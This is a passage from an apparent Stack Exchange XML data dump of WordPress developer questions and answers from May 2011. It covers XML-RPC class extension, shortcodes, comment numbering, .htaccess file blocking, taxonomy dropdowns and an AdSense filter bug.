  <row Id="17280" PostTypeId="2" ParentId="14759" CreationDate="2011-05-15T09:02:34.527" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I have lots of custom methods what&#xA;  is the best approach to handling this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Instead of filtering &lt;code&gt;xmlrpc_methods&lt;/code&gt;, you could extend the &lt;code&gt;wp_xmlrpc_server&lt;/code&gt; class and set your class as default with the filter &lt;code&gt;wp_xmlrpc_server_class&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Webeo_XMLRPC.php&#xA;class Webeo_XMLRPC extends wp_xmlrpc_server {&#xA;    public function __construct() {&#xA;        parent::__construct();&#xA;&#xA;        $methods = array(&#xA;            'webeo.getPost' =&amp;gt; 'this:webeo_getPost',&#xA;            'webeo.getPosts' =&amp;gt; 'this:webeo_getPosts'&#xA;        );&#xA;&#xA;        $this-&amp;gt;methods = array_merge($this-&amp;gt;methods, $methods);&#xA;    }&#xA;&#xA;    public static function webeo_getName() {&#xA;        return __CLASS__;&#xA;    }&#xA;&#xA;    public function sayHello($args) {&#xA;        return 'Hello Commander!';&#xA;    }&#xA;&#xA;    public function webeo_getPost($args) {&#xA;        // do the magic&#xA;    }&#xA;&#xA;    public function webeo_getPosts($args) {&#xA;        // do the magic&#xA;    }&#xA;}&#xA;&#xA;add_filter('wp_xmlrpc_server_class', array('Webeo_XMLRPC', 'webeo_getName'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-05-15T09:02:34.527" />
  <row Id="17281" PostTypeId="1" CreationDate="2011-05-15T09:59:17.900" Score="0" ViewCount="15" Body="&lt;p&gt;Does there exist a Linux based desktop application which can be used to manage/moderate wordpress comments? Notifications would be cool too.&lt;/p&gt;&#xA;" OwnerUserId="5384" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-15T10:37:56.983" LastActivityDate="2011-05-15T10:37:56.983" Title="Linux based application to manage wordpress comments" Tags="&lt;comments&gt;&lt;linux&gt;&lt;moderate&gt;" />
  <row Id="17282" PostTypeId="2" ParentId="17217" CreationDate="2011-05-15T10:03:33.390" Score="0" ViewCount="" Body="&lt;p&gt;The extra space comes from &lt;code&gt;wpautop()&lt;/code&gt;, which inserts &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; on every line break. You have to strip these out before calling &lt;code&gt;do_shortcode()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, use &lt;code&gt;add_filter( 'the_content', 'shortcode_unautop' );&lt;/code&gt;. From my experience, you need both. Probably a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my &lt;a href=&quot;https://github.com/toscho/WordPress-Shortcodes/blob/master/toscho-shortcodes.php&quot; rel=&quot;nofollow&quot;&gt;shortcode plugin&lt;/a&gt; for an example. It has shortcodes for tables too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside: Shortcodes should never be part of a theme, because you lock yourself or your client into using that theme now. See &lt;a href=&quot;http://justintadlock.com/archives/2011/05/02/dealing-with-shortcode-madness&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock’s article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-15T10:03:33.390" CommentCount="1" />
  <row Id="17283" PostTypeId="1" AcceptedAnswerId="17284" CreationDate="2011-05-15T10:19:24.877" Score="0" ViewCount="37" Body="&lt;p&gt;I can't find any plugin or script to place a &quot;report as spam&quot; button in my comments section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The button could simply: &#xA;- open a form to report a spammy or problematic comment to the admin &#xA;- send an email or store in the db the problematic comment ID ready for being checked/deleted by admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a lot of comments that are not really spam, but people trying to advertise products/services where they shouldn't (akismet of course doesn't work for them). &#xA;It could add an extra layer of spam fighting with the direct help of users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to achieve that?&lt;/p&gt;&#xA;" OwnerUserId="2119" LastActivityDate="2011-05-15T10:37:20.913" Title="Report spam button" Tags="&lt;comments&gt;&lt;admin&gt;&lt;spam&gt;" AnswerCount="1" />
  <row Id="17284" PostTypeId="2" ParentId="17283" CreationDate="2011-05-15T10:37:20.913" Score="1" ViewCount="" Body="&lt;p&gt;There a a few plugins that allow visitors to report comments &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/report-comments/&quot; rel=&quot;nofollow&quot;&gt;AJAX Report Comments&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/safe-report-comments/&quot; rel=&quot;nofollow&quot;&gt;Safe Report Comments&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-15T10:37:20.913" CommentCount="1" />
  <row Id="17285" PostTypeId="1" CreationDate="2011-05-15T11:18:32.230" Score="0" ViewCount="174" Body="&lt;p&gt;I have a search function on my blog. If I enter a value, say 'fruits' in the search box and it doesn't match in any of the posts but it is the name of a category in the blog then I want the posts that belong to that category to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to amend the search functionality so it covers the searching of all categories and possibly tags in the blog too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="5162" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-16T01:18:54.277" LastActivityDate="2011-08-14T22:24:18.997" Title="How to search for categories and/or tags?" Tags="&lt;categories&gt;&lt;tags&gt;&lt;search&gt;" AnswerCount="1" />
  <row Id="17286" PostTypeId="1" CreationDate="2011-05-15T11:37:18.297" Score="2" ViewCount="146" Body="&lt;p&gt;I use a function in my blog (getImage) to call thumbnails in the loop (it calls the 1st image on the post) but instead of link to the post, i would want the thumbnail to link to its full image src.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getImages($num) {&#xA;global $more;&#xA;$more = 1;&#xA;$link = get_permalink(); -&amp;gt; NO IDEA IF HAS ANY SENSE BUT I ALREADY TRIED TO CHANGE THIS ONE TO GET_ATTACHMENT BUT NO LUCK&#xA;$content = get_the_content();&#xA;$count = substr_count($content, '&amp;lt;img');&#xA;$start = 0;&#xA;for($i=1;$i&amp;lt;=$count;$i++) {&#xA;$imgBeg = strpos($content, '&amp;lt;img', $start);&#xA;$post = substr($content, $imgBeg);&#xA;$imgEnd = strpos($post, '&amp;gt;');&#xA;$postOutput = substr($post, 0, $imgEnd+1);&#xA;$postOutput = preg_replace('/width=&quot;([0-9]*)&quot; height=&quot;([0-9]*)&quot;/', '/width=&quot;150&quot;/',$postOutput);&#xA;$postOutput = preg_replace('/alignright/', 'aligncenter',$postOutput);&#xA;$image[$i] = $postOutput;&#xA;}&#xA;if(stristr($image[$num],'&amp;lt;img')) { echo '&amp;lt;a href=&quot;'.$link.'&quot;&amp;gt;'.$image[$num].&quot;&amp;lt;/a&amp;gt;&quot;; }&#xA;$more = 0;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone has some clue how can i do this? or other function to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5386" LastActivityDate="2011-05-16T11:59:35.063" Title="Linking thumbnail to full size image" Tags="&lt;functions&gt;&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="17287" PostTypeId="1" AcceptedAnswerId="17289" CreationDate="2011-05-15T11:38:53.803" Score="-1" ViewCount="56" Body="&lt;p&gt;I am actually displaying a number beside my comments putting &lt;code&gt;$counter = 0;&lt;/code&gt; before wp_list_comments in comments.php and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $counter;&#xA;$counter++; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside the comments callback function in functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this is working fine, but since I'm using threaded comments, my numbers are looking strange (1,4,10,14) because it's counting also the child comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to count only parent comments (1,2,3,4,5...)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2119" LastActivityDate="2011-05-15T13:26:27.487" Title="Numbering only parent comments" Tags="&lt;comments&gt;" AnswerCount="2" />
  <row Id="17288" PostTypeId="1" CreationDate="2011-05-15T11:40:46.473" Score="0" ViewCount="35" Body="&lt;p&gt;I have a problem with modifying my side menu, I tried &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;every code available&lt;/a&gt; but nothing seems to fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a side menu with 3 main titles called 'about', 'work' and 'services' and under the main pages I have sub pages called '1', '2' and '3.&#xA;I want the side menu to only show the subpages and the sub-sub-pages under the category I'm in and not the whole list of pages and subs.&#xA;I really hope I have made myself clear and would like to get some help regarding the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5387" LastActivityDate="2011-05-15T11:40:46.473" Title="Side menu display and modification" Tags="&lt;3.0&gt;&lt;templates&gt;&lt;register-sidebar&gt;&lt;children&gt;" />
  <row Id="17289" PostTypeId="2" ParentId="17287" CreationDate="2011-05-15T11:52:20.480" Score="1" ViewCount="" Body="&lt;p&gt;You can check if the comment has a parent and only count if not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $counter;&#xA;if ($comment-&amp;gt;parent == 0){&#xA;  $counter++; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-15T11:52:20.480" CommentCount="3" />
  <row Id="17290" PostTypeId="1" CreationDate="2011-05-15T11:53:34.120" Score="1" ViewCount="97" Body="&lt;p&gt;Have been trying to write a custom walker class which returns a wp_custom_menu as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/lC5cP.png&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/lC5cP.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Planning to enhance the different states with some scripting. The page at &lt;a href=&quot;http://www.htmldrive.net/items/demo/169/jQuery-Plugin-xBreadcrumbs-Extended-Breadcrumbs-navigation&quot; rel=&quot;nofollow&quot;&gt;http://www.htmldrive.net/items/demo/169/jQuery-Plugin-xBreadcrumbs-Extended-Breadcrumbs-navigation&lt;/a&gt; is a good example of the planned end result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could not find any leads nor howtos, some ideas would be fabulous!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F.&lt;/p&gt;&#xA;" OwnerUserId="5388" LastActivityDate="2011-07-14T15:18:33.163" Title="Custom walker to generate menu with integrated breadcrumb dropdowns" Tags="&lt;breadcrumb&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="17292" PostTypeId="2" ParentId="5400" CreationDate="2011-05-15T12:22:53.167" Score="1" ViewCount="" Body="&lt;p&gt;You don't really need to remove these files. It's much easier to just block access to them. If you are using pretty URL's you already have an .htaccess file. Using .htaccess to block the files is secure and you only have to add a directive once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocking files is done by adding a directive to .htaccess like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;files filename.file-extension&amp;gt;&#xA;         order allow,deny&#xA;         deny from all&#xA;    &amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, to block readme.html you do this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;files readme.html&amp;gt;&#xA;         order allow,deny&#xA;         deny from all&#xA;    &amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do the same with the license file or any other file you want to prevent anyone from accessing. Just open .htaccess in Notepad or any other basic text editor, add the directives and save, making sure that the text editor keeps the file name exactly - without any .txt on the end. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-15T12:22:53.167" CommentCount="1" />
  <row Id="17293" PostTypeId="2" ParentId="17290" CreationDate="2011-05-15T13:24:02.417" Score="1" ViewCount="" Body="&lt;p&gt;This not exactly a custom walker, but it has the same result: &lt;a href=&quot;https://github.com/franz-josef-kaiser/breadcrumbs-trail-nav&quot; rel=&quot;nofollow&quot;&gt;&quot;Breadcrumbs Trail Navigation&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be used as &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A Plugin&lt;/li&gt;&#xA;&lt;li&gt;Part of your theme&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to integrate it in your theme, simply put it in your theme, &lt;code&gt;include_once&lt;/code&gt; the file and you're done. On the github link you'll find a long readme that explains everything pretty well.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-15T13:24:02.417" />
  <row Id="17294" PostTypeId="2" ParentId="17287" CreationDate="2011-05-15T13:26:27.487" Score="1" ViewCount="" Body="&lt;p&gt;This Q is close to a dublicate of &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16867/get-threaded-comments-number/16871#16871&quot;&gt;this Question&lt;/a&gt;, that you already asked. The only thing you have to make different, is that you switch the content of the if/else statement.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-15T13:26:27.487" CommentCount="1" />
  <row Id="17295" PostTypeId="2" ParentId="17286" CreationDate="2011-05-15T13:33:03.703" Score="1" ViewCount="" Body="&lt;p&gt;Simply use &lt;code&gt;wp_get_attachment_url($GLOBALS['post']-&amp;gt;ID);&lt;/code&gt; instead of &lt;code&gt;get_permalink();&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-15T13:33:03.703" CommentCount="2" />
  <row Id="17296" PostTypeId="1" CreationDate="2011-05-15T13:51:27.000" Score="0" ViewCount="93" Body="&lt;p&gt;I have a custom post type set up which is working beautifully but I'm having problems when I try to give the layout of the custom post type in loop.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've based my currently theme on Starkers which uses a lot of the out of the box Twenty Ten theme functions and all I've done to loop.php is extend it to allow for the slight differences in HTML output for each post type. Let's call my custom post type 'book'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the following triggers the desired layout on the book archive page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif ( is_post_type_archive('book') || is_singular( 'book' ) ) :&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but not on individual book posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? &lt;/p&gt;&#xA;" OwnerUserId="5389" LastActivityDate="2011-05-15T14:29:27.667" Title="is_singular() not recognising my custom post type in loop.php" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;loop&gt;" AnswerCount="0" CommentCount="4" />
  <row Id="17297" PostTypeId="2" ParentId="17285" CreationDate="2011-05-15T14:02:30.947" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;// Above the loop on your search result template:&#xA;if ( is_search() ) // Are we on a search result page?&#xA;{&#xA;    global $wp_query, $query_string;&#xA;    // now modify/filter the query (result)&#xA;    query_posts( $query_string . 'cat=1&amp;amp;tag=apples+apples' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-15T14:02:30.947" CommentCount="2" />
  <row Id="17299" PostTypeId="2" ParentId="12137" CreationDate="2011-05-15T15:05:31.200" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/php-flvinfo/&quot; rel=&quot;nofollow&quot;&gt;php-flvinfo&lt;/a&gt; and &lt;a href=&quot;http://code.google.com/p/php-mp4info/&quot; rel=&quot;nofollow&quot;&gt;php-mp4info&lt;/a&gt; are php classes for reading flv and mp4 metadata. you could read it on the fly, or it may be possible to hook a save to get this info in the db somewhere.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-15T15:05:31.200" />
  <row Id="17300" PostTypeId="2" ParentId="17266" CreationDate="2011-05-15T15:27:34.973" Score="0" ViewCount="" Body="&lt;p&gt;You're probably using an input field that contains name=&quot;name&quot;. A lot of generic words are used by WordPress itself (incl. name, so a best practise is to always prefix_ your fields, like name=&quot;prefix_name&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5390" LastActivityDate="2011-05-15T15:27:34.973" />
  <row Id="17301" PostTypeId="1" CreationDate="2011-05-15T15:52:46.077" Score="0" ViewCount="137" Body="&lt;p&gt;I have been trying to get a drop down of my custom taxonomy terms to show up in my theme options page but with no luck. I looked a several posts here and followed the tips but the code just does not display the taxonomy terms.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Seasons */&#xA;$season_terms = get_terms('season');&#xA;$season_tax = array();&#xA;if( $season_terms ) {&#xA;    foreach( $season_terms as $season ) {&#xA;        $season_tax[$season-&amp;gt;term_id] = $season-&amp;gt;name;&#xA;    }&#xA;}&#xA;&#xA;array_unshift( $season_tax, 'Choose a Season' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the &quot;Choose A Season&quot; option and then a blank option for each of my terms ( two at the moment ). What could be causing this? I am stumped on this one???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated! Thanx&lt;/p&gt;&#xA;" OwnerUserId="5391" LastActivityDate="2011-08-14T12:23:45.307" Title="Select Custom Taxonomy from Theme Options" Tags="&lt;custom-taxonomy&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="17302" PostTypeId="1" AcceptedAnswerId="17308" CreationDate="2011-05-15T16:54:29.360" Score="0" ViewCount="88" Body="&lt;p&gt;What's the best practice for handling CSS on a theme with multiple page templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: I will have a Full Width page template and a 2-column page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it best to just call out the containers in a single CSS (#fullWidthContainer vs. #twoColumnContainer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it better to have separate CSS files for each page template?&lt;/p&gt;&#xA;" OwnerUserId="5392" LastActivityDate="2011-05-15T17:45:20.843" Title="Multiple Page Templates &amp; CSS" Tags="&lt;theme-development&gt;&lt;css&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="17303" PostTypeId="1" AcceptedAnswerId="17310" CreationDate="2011-05-15T17:22:01.777" Score="0" ViewCount="36" Body="&lt;p&gt;My theme automatically assign before of &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; tags, as excerpt.And showing excerpt on home page. Now i want to add Google Adsense after &lt;code&gt;&amp;lt;!-- more --&amp;gt;&lt;/code&gt; code. I'm wrote this function and add it to functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function google_adsense($content)&#xA;{&#xA;    if(is_single())&#xA;    {&#xA;        global $post;&#xA;        $thePostID = $post-&amp;gt;ID;&#xA;        $more_span = '&amp;lt;span id=&quot;more-' .$thePostID.'&quot;&amp;gt;&amp;lt;/span&amp;gt;' ;&#xA;        return str_replace($more_span, $more_span . &quot; &quot; . google_reklam_ekle(), $content);&#xA;    }&#xA;}&#xA;function google_reklam_ekle()&#xA;{&#xA;    return &quot;&amp;lt;!-- Google Adsense --&amp;gt;&#xA;&amp;lt;script type=\&quot;text/javascript\&quot;&amp;gt;&amp;lt;!--&#xA;google_ad_client = \&quot;ca-pub-9792205570091420\&quot;;&#xA;/* teknoblogo-yazi-alaninda */&#xA;google_ad_slot = \&quot;0917868905\&quot;;&#xA;google_ad_width = 468;&#xA;google_ad_height = 60;&#xA;//--&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=\&quot;text/javascript\&quot;&#xA;src=\&quot;http://pagead2.googlesyndication.com/pagead/show_ads.js\&quot;&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- bit Google Adsense --&amp;gt;&quot;;&#xA;}&#xA;add_filter('the_content', 'google_adsense');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now excerpts isn't disappering excerpts. When i remove this functions, they're appearing again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In single page, code is working very well. You can check my blog posts. &lt;a href=&quot;http://www.teknoblogo.com&quot; rel=&quot;nofollow&quot;&gt;http://www.teknoblogo.com&lt;/a&gt; . There is an Adsense Ads after  tag. But before add this Adsense codes, my post's first part (i mean before of &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; tag) appearing .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you give an idea to me ?&lt;/p&gt;&#xA;" OwnerUserId="3552" LastEditorUserId="3552" LastEditorDisplayName="" LastEditDate="2011-05-15T18:00:32.990" LastActivityDate="2011-05-15T18:00:32.990" Title="Excerpt Is Disappeared" Tags="&lt;excerpt&gt;&lt;more&gt;&lt;the-excerpt&gt;" AnswerCount="2" />
  <row Id="17305" PostTypeId="1" CreationDate="2011-05-15T17:38:39.723" Score="0" ViewCount="58" Body="&lt;p&gt;Hi I have a venues custom post type and would like to display 4 venues on the front page (from about 30), in a 'featured venues' type section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for the site administrators to be able to select which venues they want displayed on the front page, I was thinking that the easiest way to do this for them would be to have an options page that would contain 4 dropdowns, and each dropdown would contain all the venues. So the user would be able to select the venues he wishes to show on the front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that? Thanks&lt;/p&gt;&#xA;" OwnerUserId="5317" LastActivityDate="2011-05-15T17:38:39.723" Title="WordPress Options page to include featured posts on front page" Tags="&lt;admin&gt;" CommentCount="1" />
  <row Id="17306" PostTypeId="1" CreationDate="2011-05-15T17:40:10.060" Score="1" ViewCount="161" Body="&lt;p&gt;I'm trying to query a custom post type &quot;jogos&quot; where the meta value &quot;data_de_lancamento&quot; (launch date) is &amp;lt;= than today's.&#xA;That field uses the format dd/mm/yy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The returned posts from that query must then be ordered Descending by the custom field &quot;views&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date_default_timezone_set('Europe/Lisbon');&#xA;$data = date(&quot;d/m/y&quot;);&#xA;global $wpdb;&#xA;&#xA;$sql = &quot;SELECT wposts.*&#xA;FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;postmeta wpostmeta, $wpdb-&amp;gt;postmeta wpostmeta2&#xA;WHERE wposts.ID = wpostmeta.post_id&#xA;AND wposts.ID = wpostmeta2.post_id&#xA;AND wpostmeta.meta_key = 'views'&#xA;AND wpostmeta2.meta_key = 'data_de_lancamento'&#xA;AND wpostmeta2.meta_value &amp;lt; $data&#xA;AND wposts.post_type = 'jogos'&#xA;AND wposts.post_status = 'publish'&#xA;ORDER BY wpostmeta.meta_value ASC&quot;;&#xA;&#xA;$resultado = $wpdb-&amp;gt;get_results($sql, OBJECT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2011-08-14T13:23:46.450" Title="Query &amp; Order posts by custom fields" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;php&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="17307" PostTypeId="2" ParentId="17301" CreationDate="2011-05-15T17:43:47.927" Score="0" ViewCount="" Body="&lt;p&gt;Since you are likely developing this and you don't have any posts associated with the &lt;code&gt;season&lt;/code&gt; taxonomy, you will not get any terms returned with &lt;code&gt;get_terms('season');' unless you specify the parameter&lt;/code&gt;hide_empty&lt;code&gt;to be&lt;/code&gt;0`. I would change the code thusly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /** Seasons */&#xA;    $args = array( 'hide_empty' =&amp;gt; '0' );&#xA;    $season_terms = get_terms('season', $args);&#xA;    $season_tax = array();&#xA;    if( $season_terms ) {&#xA;        foreach( $season_terms as $season ) {&#xA;            $season_tax[$season-&amp;gt;term_id] = $season-&amp;gt;name;&#xA;        }&#xA;    }&#xA;&#xA;    array_unshift( $season_tax, 'Choose a Season' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default, terms are only returned if they are associated with at least one post. Check out the &lt;code&gt;hide_empty&lt;/code&gt; parameter on this page for more information: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_terms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-15T17:43:47.927" CommentCount="2" />
  <row Id="17308" PostTypeId="2" ParentId="17302" CreationDate="2011-05-15T17:45:20.843" Score="1" ViewCount="" Body="&lt;p&gt;This isn't really WordPress specific, but from the server perspective it would add additional http requests for visitors to load additional css files, versus pulling the same site-wide css file from cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a css perspective, I prefer to keep it all in one file. Some people prefer to organize things differently, like all text styles in one file and then layout specific stuff in another. In that case, they may keep layouts specific to certain templates separate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simple layout differences, I do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;template a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;main-content&quot; class=&quot;full-width&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;template b:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;main-content&quot; class=&quot;narrow-width&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#main-content {&#xA;    /* common to all content */&#xA;}&#xA;&#xA;.full-width {&#xA;    width:500px;&#xA;}&#xA;&#xA;.narrow-width {&#xA;    width:300px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I keep IDs meaningful to the content, and use classes to define layout.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-15T17:45:20.843" />
  <row Id="17310" PostTypeId="2" ParentId="17303" CreationDate="2011-05-15T17:58:11.587" Score="1" ViewCount="" Body="&lt;p&gt;you have forgotten to return the unaltered $content if this is not a single post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function google_adsense($content) {     &#xA;  if(is_single())     &#xA;  {         &#xA;   global $post;         &#xA;   $thePostID = $post-&amp;gt;ID;         &#xA;   $more_span = '&amp;lt;span id=&quot;more-' .$thePostID.'&quot;&amp;gt;&amp;lt;/span&amp;gt;' ;         &#xA;   return str_replace($more_span, $more_span . &quot; &quot; . google_reklam_ekle(), $content);     &#xA;   } else { &#xA;   return $content; &#xA;   }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-15T17:58:11.587" CommentCount="2" />
  <row Id="17311" PostTypeId="2" ParentId="17303" CreationDate="2011-05-15T17:58:23.173" Score="2" ViewCount="" Body="&lt;p&gt;I think I figured this out. The problem, I believe, is that you specify your function to run only on single posts via &lt;code&gt;is_single()&lt;/code&gt;. When it is not a single post, you return no content, therefore your content vanishes! Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function google_adsense($content)&#xA;{&#xA;    if(is_single())&#xA;    {&#xA;        global $post;&#xA;        $thePostID = $post-&amp;gt;ID;&#xA;        $more_span = '&amp;lt;span id=&quot;more-' .$thePostID.'&quot;&amp;gt;&amp;lt;/span&amp;gt;' ;&#xA;        return str_replace($more_span, $more_span . &quot; &quot; . google_reklam_ekle(), $content);&#xA;    }&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this will fix your vanishing content problem! It did when I ran your functions on my dev site.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-15T17:58:23.173" />
